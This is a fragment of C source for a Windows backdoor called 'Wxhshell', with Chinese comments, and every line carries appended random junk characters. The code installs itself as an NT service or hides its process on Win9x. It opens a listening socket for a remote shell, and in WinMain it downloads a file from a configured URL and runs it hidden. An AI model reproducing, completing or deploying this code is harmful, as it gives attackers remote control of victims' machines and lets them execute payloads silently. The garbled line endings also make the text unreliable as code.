ULONG UniqueProcessId; g|vNhq0|i
ULONG InheritedFromUniqueProcessId; K|hjEQRv
} PROCESS_BASIC_INFORMATION; F|e1"PkeoA
#\ X#w<\?
PROCNTQSIP NtQueryInformationProcess; rp!oO>F
4hTMbS_;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C,ARXW1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \1fN0e
\b?" b
HANDLE hProcess; vnM@QfN
PROCESS_BASIC_INFORMATION pbi; rPLm5ni
rLI8pA|.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7G}2,ueI
if(NULL == hInst ) return 0; Y6zbo
I J(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8{^WY7.'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %)/P^9I6
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;kS&A(
~&7MkkftM
if (!NtQueryInformationProcess) return 0; 06c>$1-?
a!"$~y$*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3W3ZjdV+
if(!hProcess) return 0; Af'" 6BS
]v]qChZHd
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d9;g]uj`
iB%gPoDCL@
CloseHandle(hProcess); I+[>I=ewa
T>2[=J8U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X[&Wkr8x '
if(hProcess==NULL) return 0; ymx>i~>7J
ZaV8qAsP
HMODULE hMod; ['B?i1 .
char procName[255]; &:dH,
unsigned long cbNeeded; 0 yuW*z
i]6`LqlO
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U |Jo{(Y
g1W.mAA3B
CloseHandle(hProcess); #><.oreXq
V-Sd[
if(strstr(procName,"services")) return 1; // 以服务启动 h?BFvbAt
T"E6y"D
return 0; // 注册表启动 g!?:Ye`5
} ?fUlgQ}N
Jrti
cK$
// 主模块 aTqd@},?
int StartWxhshell(LPSTR lpCmdLine) -EkWs/'h
{ 'B 43_
SOCKET wsl; GVYBa_gx
BOOL val=TRUE; \]2]/=2tLd
int port=0; #Ssx!+q?
struct sockaddr_in door; mpuq 9)6
YaKeq5%y
if(wscfg.ws_autoins) Install(); :D%"EJ
M<.d8?p )
port=atoi(lpCmdLine); QS` PpyBkd
G~2jUyv
if(port<=0) port=wscfg.ws_port; B8V>NvE~o
4E]l{"k<
WSADATA data; aWWU4xe
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mKL<<L[
Li/O
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; rV R1wsaL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
A: 5x|
door.sin_family = AF_INET; .TND a&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )Ch2E|C?=8
door.sin_port = htons(port); C":32_q
Gb#Cm]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >L;eO'D
closesocket(wsl); }z _
return 1; "$ Y_UJT7
} jkiFLtB@V
bx{$Y_L+p
if(listen(wsl,2) == INVALID_SOCKET) { w)kNkD
closesocket(wsl); @eD):Y
return 1; tD(7^GuR
} +cgSC5nR
Wxhshell(wsl); RrX[|GLSJ
WSACleanup(); 2ORNi,_I
<lw`
3aa(
return 0; j9?}j#@
EQb7-vhg
} 3DiLk=\~
wQP^WzNE
// 以NT服务方式启动 e vrXo"3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [SHXJ4P*
{ %k-3?%&8
DWORD status = 0; n>+mL"hs
DWORD specificError = 0xfffffff; ryW'Z{+r'
Hv
sob
serviceStatus.dwServiceType = SERVICE_WIN32; &]e'KdXF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s2'yY(u/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TUV&vz{
serviceStatus.dwWin32ExitCode = 0; ,SynnE68
serviceStatus.dwServiceSpecificExitCode = 0; iYORu3
serviceStatus.dwCheckPoint = 0; Tl$[4heE
serviceStatus.dwWaitHint = 0; L;VoJf
Co (.:z~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q&wB$*u
if (hServiceStatusHandle==0) return; v(B<Nb
^W'fA{sr
status = GetLastError(); !%^^ \,
if (status!=NO_ERROR) +$C4\$t
{ 8jd;JPz@\
serviceStatus.dwCurrentState = SERVICE_STOPPED; P
`}zlml
serviceStatus.dwCheckPoint = 0; %QH)' GJQ
serviceStatus.dwWaitHint = 0; |Y$uqRdV
serviceStatus.dwWin32ExitCode = status; *)ardZV${
serviceStatus.dwServiceSpecificExitCode = specificError; 1crnmJ!C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3nT^?;-
return; 87<-kV
} e,F1Xi#d
y.e^h RKb
serviceStatus.dwCurrentState = SERVICE_RUNNING; o<<xY<
serviceStatus.dwCheckPoint = 0; 1rv)&tKs
serviceStatus.dwWaitHint = 0; ])|d"[ur=
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); //T>G_1
} )PG6gZYW
rR9|6l
3
// 处理NT服务事件,比如:启动、停止 mef<=5t
VOID WINAPI NTServiceHandler(DWORD fdwControl) [5zx17'
{ T&%ux=Jt
switch(fdwControl) ,sA[)wP {
{ G;v8$)Zj
case SERVICE_CONTROL_STOP: #33fGmd[
serviceStatus.dwWin32ExitCode = 0; jhXkSj
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q<h-FW8z
serviceStatus.dwCheckPoint = 0; yaah*1ip[
serviceStatus.dwWaitHint = 0; 9K5pwC\$%
{ Rv#]I#O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E~%jX
}/
} r\b3AKrIN
return; mQCeo}7N5
case SERVICE_CONTROL_PAUSE: u.mJQDTH
serviceStatus.dwCurrentState = SERVICE_PAUSED; jNLw=
break; AvxfI"sp
case SERVICE_CONTROL_CONTINUE: 3HLNCt09
serviceStatus.dwCurrentState = SERVICE_RUNNING; (g[h
8
c
break; _A+s)]}
case SERVICE_CONTROL_INTERROGATE: MHh~vy'HB5
break; Wc,~ {
}; w.H%R-Be
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OUeyklw
} 9z}uc@#D=m
M)eO6oX|
// 标准应用程序主函数 B:gjAb}9T
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /4a._@1h[y
{ (8Bk;bd
19O,a#{KHf
// 获取操作系统版本 $^OvhnL/
OsIsNt=GetOsVer(); =+U `-J}g
GetModuleFileName(NULL,ExeFile,MAX_PATH); d]:I(9K
w8kOVN2b
// 从命令行安装 -R57@D>j\
if(strpbrk(lpCmdLine,"iI")) Install(); Fy`(BF\
q;<h[b?
// 下载执行文件 _CW(PsfY
if(wscfg.ws_downexe) { :uWw8`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v}1QH
WinExec(wscfg.ws_filenam,SW_HIDE); ]8Q4BW
} k 8UO9r[
1QLbf*zeIW
if(!OsIsNt) { |+iws8xK?
// 如果时win9x,隐藏进程并且设置为注册表启动 txiP!+3OWB
HideProc();
5&v~i\Q
StartWxhshell(lpCmdLine); zaah^.MA|
} MYla OT
else ^Wc@oa`
if(StartFromService())
0Uo\wyd
// 以服务方式启动 FrTi+& <
StartServiceCtrlDispatcher(DispatchTable); AWP"b?^G|
else ]|MEx{BG-
// 普通方式启动 .Xce9C0SW
StartWxhshell(lpCmdLine); zUKmx y@
G'6@+$ppS
return 0; N F+iza;DP
}